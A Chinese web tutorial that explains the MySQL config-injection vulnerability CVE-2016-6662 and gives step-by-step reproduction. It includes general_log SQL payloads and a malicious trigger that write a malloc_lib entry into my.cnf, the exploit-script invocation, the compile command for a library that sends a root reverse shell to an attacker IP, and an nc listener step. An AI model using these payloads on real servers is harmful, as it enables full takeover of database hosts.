萬盛學電腦網

 萬盛學電腦網 >> 數據庫 >> mysql教程 >> mysql遠程代碼執行/權限提升漏洞

mysql遠程代碼執行/權限提升漏洞

下面我們來看一篇關於mysql遠程代碼執行/權限提升漏洞的例子,希望這篇文章能夠幫助到各位朋友,具體的細節步驟如下文介紹.

就我目前測試的情況來看,這個漏洞比較雞肋,原因有以下兩點:

1,使用默認方式安裝的mysql,mysql用戶並沒有配置文件/etc/mysql/my.cnf的所屬權限;

2,不關閉selinux或apparmor的話,exp腳本執行是會報錯的。

legalhackers原文中提到這個漏洞的前提是很多人按照錯誤的安裝指南來進行權限配置,將配置文件的所屬用戶修改成了mysql。不過貌似漏洞發現者手裡還藏了幾個更加嚴重的mysql漏洞,並沒有披露。

I. VULNERABILITY

MySQL <= 5.7.15 遠程代碼執行/權限提升 (0day)

5.6.33

5.5.52

克隆mysql的同樣受影響, 包括:

MariaDB PerconaDB

II. INTRODUCTION

一個獨立的研究組織發現多處嚴重的Mysql漏洞,此次通報的是其中比較嚴重的一個漏洞CVE-2016-6662,它允許攻擊者遠程注入惡意設置到被攻擊服務器的Mysql配置文件(my.cnf)中,導致更加嚴重的後果。

該漏洞影響所有默認配置的Mysql版本分支(5.7、5.6、5.5),包括最新的版本,並可能被攻擊者進行本地或者遠程的利用。Exp既可以通過網絡連接或者利用類似phpmyadmin之類的web管理工具,以及SQL注入漏洞等來實現遠程提權的目的。

SQL注入漏洞是在web應用中最常見的漏洞之一,在存在注入漏洞的情況下,攻擊者可以配合CVE-2016-6662進行更加深入的入侵。如果被攻擊服務器有運行受影響的mysql版本,攻擊者可以以root權限執行任意代碼,從而完全控制被攻擊服務器。

目前官方還沒有提供針對該漏洞的補丁,即使服務器開啟了SELinux安全模式,也會受到該漏洞Exp的影響。該通報後面提供一個該漏洞的Poc,演示攻擊者如何實現遠程代碼執行。

III. DESCRIPTION

默認的Mysql安裝包自帶mysql_safe腳本,啟動mysql服務器就可以觀察到,例如,進行mysql全面更新。

Debian系統:

root@debian:~# lsb_release -a

No LSB modules are available.

Distributor ID: Debian

Description:    Debian GNU/Linux 8.5 (jessie)

Release:    8.5

Codename:   jessie

root@debian:~# dpkg -l | grep -i mysql-server

ii mysql-server 5.5.50-0+deb8u1

ii mysql-server-5.5 5.5.50-0+deb8u1

ii mysql-server-core-5.5 5.5.50-0+deb8u1

通過運行如下命令啟動Mysql(用默認Debian倉庫提供的軟件包安裝)

root@debian:~# service mysql start

或用如下方式啟動:

root@debian:~# /etc/init.d/mysql start

Mysql服務的進程樹看起來如下:

root 14967 0.0 0.1 4340 1588 ? S 06:41 0:00 /bin/sh /usr/bin/mysqld_safe
 
mysql 15314 1.2 4.7 558160 47736 ? Sl 06:41 0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
可以看出,mysqld_safe封裝腳本是以root權限啟動的,而主要的mysqld進程是用較低權限的mysql用戶啟動的。

mysqld_safe封裝腳本有以下功能 :

?

----[ /usr/bin/mysqld_safe ]----
[...]
# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
#   then pkglibdir.  tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld.  See ld.so for details.
set_malloc_lib() {
  malloc_lib="$1"
  if [ "$malloc_lib" = tcmalloc ]; then
    pkglibdir=`get_mysql_config --variable=pkglibdir`
    malloc_lib=
    # This list is kept intentionally simple.  Simply set --malloc-lib
    # to a full path if another location is desired.
    for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
      for flavor in _minimal '' _and_profiler _debug; do
        tmp="$libdir/libtcmalloc$flavor.so"
        #log_notice "DEBUG: Checking for malloc lib '$tmp'"
        [ -r "$tmp" ] || continue
        malloc_lib="$tmp"
        break 2
      done
    done
[...]
----------[ eof ]---------------
它可以用來在啟動服務之前加載共享庫,庫文件可以通過下面的參數進行設置:

–malloc-lib=LIB

這個參數也可以在mysqld的配置文件中指定(my.cnf中),在[mysqld]或者[mysqld_safe]部分。

如果攻擊者能夠將其惡意的庫文件路徑插入到配置文件中,就可以加載任意庫,當mysql服務重啟(手動、系統更新包更新、系統重啟等)時,可以以root權限執行任意代碼。

2003年公布的一個mysql 3.23.55之前版本的漏洞,允許攻擊者利用一個簡單的語句創建mysql配置文件:

SELECT * INFO OUTFILE ‘/var/lib/mysql/my.cnf’

該漏洞已經在mysql 3.23.55版本中修復,利用outfile查詢創建的文件默認是沒辦法覆蓋現有文件的,這樣可以保護現有的配置文件,寫入配置文件已經算不可能了。

然而POC證明,有可能利用Mysql的日志功能(默認方式安裝的mysql)繞過當前的限制,來實現如下的目標:

1,注入惡意配置文件到現有的mysql配置文件中,前提是配置文件權限配置不當,配置文件所屬用戶是mysql用戶,並且mysql用戶有配置文件的可寫權限;

2,在mysql數據目錄中創建新的配置文件,通過默認方式安裝mysql的話,mysql用戶默認對此目錄是有可寫權限的,因此不需要依靠不當的權限配置;

3,通過默認方式安裝的mysql,攻擊者僅用select查詢的file權限就可以訪問日志功能(該功能通常只提供給mysql管理用戶),因此攻擊者可以在數據目錄添加修改配置文件。

IV. PROOF OF CONCEPT

1,利用不正確的權限配置(配置文件所屬mysql用戶,mysql用戶有可寫權限)注入惡意配置到mysql的配置文件;

當mysqld_safe腳本執行時,mysql配置文件從所有支持的位置逐一加載和處理庫文件,確切的配置文件位置取決於mysql的版本。 例如: http://dev.mysql.com/doc/refman/5.5/en/option-files.html

mysql5.5的配置位置包括:

/etc/my.cnf 全局配置

/etc/mysql/my.cnf 全局配置

SYSCONFDIR/my.cnf 全局配置

$MYSQL_HOME/my.cnf 服務特定配置

默認額外文件,如果有~/my.cnf,用–defaults-extra-file參數來指定用戶特定的配置。

目前有一種常見誤解是mysql用戶必須有mysql配置文件的所屬權限,才能讓服務正常工作。許多安裝指南,甚至安全指南經常錯誤的建議用戶給予mysql用戶mysql配置文件或目錄的所屬權限。 例如:

https://github.com/willfong/mariadb-backup/blob/master/README.md

提到:

用如下命令設置配置文件權限:

chown mysql /etc/my.cnf

chmod 600 /etc/my.cnf”

而在如下文章中提到:

http://www.devshed.com/c/a/mysql/security-issues-with-mysql/

“你應該保護全局配置文件/etc/my.cnf,如果存在的該文件,所屬用戶應該是mysql用戶,並且mysql用戶要有讀寫權限,但其它用戶只需要只讀權限”。

shell> chown mysql /etc/my.cnf”

如果mysql用戶有mysql配置文件的所屬權限,攻擊可以追加惡意的配置項,如下所示:

root@debian:~/# ls -l /etc/my.cnf

-rw-r–r– 1 mysql mysql 72 Jul 28 17:20 /etc/my.cnf

root@debian:~/# cat /etc/my.cnf

[mysqld]

key_buffer = 16M

max_allowed_packet = 16M

攻擊者可以運行下面的SQL查詢:

mysql> set global general_log_file = '/etc/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/tmp/mysql_exploit_lib.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
然後配置文件將增加如下的部分:

root@debian:~/# cat /etc/my.cnf
[mysqld]
key_buffer = 16M
max_allowed_packet = 16M
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
160728 17:25:14 40 Query    select '
; injected config entry
[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so
[separator]
'
160728 17:25:15 40 Query    set global general_log = off
這個配置將會讓mysql啟動失敗,因為該文件中包含一些垃圾內容,然而最重要的部分是mysql配置文件包含了以下部分:

[mysqld]

malloc_lib=/tmp/mysql_exploit_lib.so

在mysqld守護進程啟動之前,mysqld_safe將正確的讀取共享庫的路徑,並把它添加到LD_PRELOAD環境變量。然後預裝庫的fopen()函數在mysqld守護進程啟動之前處理和清理配置文件,為的是mysql能夠正常啟動。

2,在mysql數據目錄中創建新的配置文件,通過默認方式安裝mysql的話,mysql用戶默認對此目錄是有可寫權限的,因此不需要依靠不當的權限配置。

mysqld_safe腳本的分析表明,在除上文中提到的配置文件位置之外,在mysql5.5、5.6版本中mysqld_safe在默認情況下還會從mysql的數據目錄(/var/lib/mysql/my.cnf)加載配置文件,如下:

----[ /usr/bin/mysqld_safe ]----
[...]
# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
DATADIR=$MY_BASEDIR_VERSION/data
if test -z "$defaults" -a -r "$DATADIR/my.cnf"
then
defaults="--defaults-extra-file=$DATADIR/my.cnf"
fi
[...]
 
----------[ eof ]---------------
從mysql 5.7開始移除了這個功能,然而在很多錯誤配置中,任然是從如下位置加載配置文件:

/var/lib/mysql/.my.cnf

mysql用戶是有mysql數據目錄(/var/lib/mysql)寫權限的:

root@debian:~# ls -ld /var/lib/mysql/

drwx—— 4 mysql mysql 4096 Jul 28 06:41 /var/lib/mysql/

因此,如果沒有所屬mysql用戶的配置文件,攻擊者可能仍然能夠利用此漏洞在如下位置創建配置文件:

/var/lib/mysql/my.cnf

/var/lib/mysql/.my.cnf

正如前文提到的,用file權限創建這樣的文件:

SELECT ‘惡意配置內容’ INTO OUTFILE ‘/var/lib/mysql/my.cnf’

是行不通的,因為通過這種方式創建的文件權限如下:

-rw-rw-rw- 1 mysql mysql 4 Jul 28 07:46 /var/lib/mysql/my.cnf

mysql在啟動的時候會阻止這種全部可寫的配置,但是攻擊者利用該漏洞可以繞過這個限制:

mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '>
    '> ; injected config entry
    '>
    '> [mysqld]
    '> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
    '>
    '> [separator]
    '>
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
以上SQL創建一個具有必要權限(other用戶沒有讀寫權限)的可供mysql守護進程解析的配置文件:

# ls -l /var/lib/mysql/my.cnf

-rw-rw—- 1 mysql mysql 352 Jul 28 17:48 /var/lib/mysql/my.cnf

這個文件包含的內容如下:

# cat /var/lib/mysql/my.cnf

/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:

Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock

Time                 Id Command    Argument

160728 17:48:22    43 Query select ‘

; injected config entry

[mysqld]

malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so

[separator]

160728 17:48:23    43 Query set global general_log = off

然而,依然存在一個問題,mysql會啟動報錯,因為該配置文件包含了太多垃圾內容,會報錯如下:

error: Found option without preceding group in config file: /var/lib/mysql/my.cnf at line: 1 Fatal error in defaults handling. Program aborted

不過深入的測試證明可以繞過此安全限制導致的錯誤,繼續看下文。

值得大家注意的是,cve-2016-6662漏洞的報告者利用其它漏洞可以輕易的創建任意內容的/var/lib/mysql/my.cnf配置文件,並不需要file權限,只是報告者並未披露其它的漏洞。

3,通過默認方式安裝的mysql,攻擊者僅用select查詢的file權限就可以訪問日志功能(該功能通常只提供給mysql管理用戶),因此攻擊者可以在此位置添加修改配置文件。

如果攻擊者沒有訪問日志功能的管理權限,只有標准用戶權限與另外的file權限,那麼攻擊者仍然可以獲得寫入修改配置文件的能力,可以利用一個惡意的觸發器來實現:

CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `active_table` FOR EACH ROW
BEGIN
   DECLARE void varchar(550);
   set global general_log_file='/var/lib/mysql/my.cnf';
   set global general_log = on;
   select "
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
" INTO void;  
   set global general_log = off;
END;
利用類似的語句創建觸發器

SELECT ‘….trigger_code…’ INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG’

當表刷新的時候就會執行觸發器,比如通過insert來讓表刷新:

INSERT INTO `active_table` VALUES(‘xyz’);

觸發器的代碼會以mysql root權限執行,從而讓攻擊者修改general_log設置,即使攻擊者沒有數據庫管理員權限。

V. PROOF OF CONCEPT – 0day

.c文件0ldSQLMySQLRCEexploit.py腳本要注入的共享庫內容,具體的.c文件代碼請查看老外寫的文章。當mysqld守護進程啟動的時候,mysqld_safe會加載該惡意的共享庫,然後會主動連接遠程攻擊者監聽的6033端口,並給攻擊者反彈一個root權限shell。

python腳本首先會創建修改mysql配置文件,加入如下內容:

[mysqld]

malloclib=mysqlhookandroot_lib.so

然後當mysqld啟動的時候,mysqld_safe會加載.so文件中的惡意內容,然後.so文件中的execvp()函數首先會清理掉mysql配置文件中插入的垃圾內容,只保留[mysqld]這個字段,以確保mysqld服務能正常啟動,之後就會向攻擊者反彈一個root權限的shell。在使用該文件的時候,需要調整一下接收shell的IP和端口,以及配置路徑等。

使用如下命令進行編譯:

gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl

復現測試流程:

1,創建一個測試用的數據庫,並創建測試用戶的賬號和權限,如下:


CREATE DATABASE pocdb;
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';

2,將存在的mysql配置文件的所屬用戶修改成mysql用戶,如下:


# chown mysql:mysql /etc/mysql/my.cnf
# ls -l /etc/mysql/my.cnf
-rw-r--r-- 1 mysql mysql 3534 Sep 11 02:15 /etc/mysql/my.cnf
3,用attacker用戶運行該exp,運行完畢重啟mysql服務 首先,在.c文件中輸入你的庫路徑; 接著,運行.py腳本。 如:

?
1
attacker$ ./0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.1.10 -dbname pocdb -mycnf /etc/mysql/my.cnf
4,然後在接收反彈shell的服務器用nc監聽6033端口即可收到反彈的shell。

具體的exp以及用到的庫文件代碼,請查看360播報或者老外的文章。下面附上詳細的復現過程及方法,是在ubuntu 14.04中測試的。

1,安裝mysql-server ,mysql-client

sudo apt-get install mysql-server mysql-client

2,安裝gcc

sudo apt-get  install  build-essential

3,安裝exp腳本中用到的mysql connector,下載地址

http://cdn.mysql.com//Downloads/Connector-Python/mysql-connector-python1.2.3-1ubuntu12.04all.deb

4,創建測試用的數據庫,以及需要賬號及權限

mysql> create database pocdb;

Query OK, 1 row affected (0.00 sec)

mysql> grant file on *.* to ‘attacker’@’%’ identified by ‘hello123’;

Query OK, 0 rows affected (0.00 sec)

mysql> GRANT SELECT,INSERT,CREATE ON `pocdb`.* TO ‘attacker’@’%’;

Query OK, 0 rows affected (0.00 sec)

注意上面這條中數據庫名是用反引號括起來的。

5,編譯mysqlhookandrootlib.c文件,編譯之前,修改內容如下:

#define ATTACKERS_IP “182.92.100.1”

#define SHELL_PORT 1234

#define INJECTED_CONF “/etc/mysql/my.cnf”

其中IP、端口是另外一台需要監聽的服務器的,執行exp之後被攻擊服務器會主動向上面的IP跟端口反彈一個root權限的shell。

my.cnf是我的測試環境中配置文件的默認位置。

編譯命令:

gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl

6,修改/etc/mysql/my.cnf的所屬用戶及組

chown mysql:mysql /etc/mysql/mysql.cnf

7,唯一雞肋的地方是需要對ubuntu的apparmor相關的配置,不然exp執行的時候會報錯誤6,會提示

ERROR 29 (HY000): File ‘/etc/mysql/my.cnf’ not found (Errcode: 13)

centos的話應該是需要關閉selinux,不過看漏洞介紹說不關閉這個的情況下也能利用,可能是描述有誤吧。

修改方法:

sudo vi /etc/apparmor.d/usr.sbin.mysqld

修改成如圖所示:

copyright © 萬盛學電腦網 all rights reserved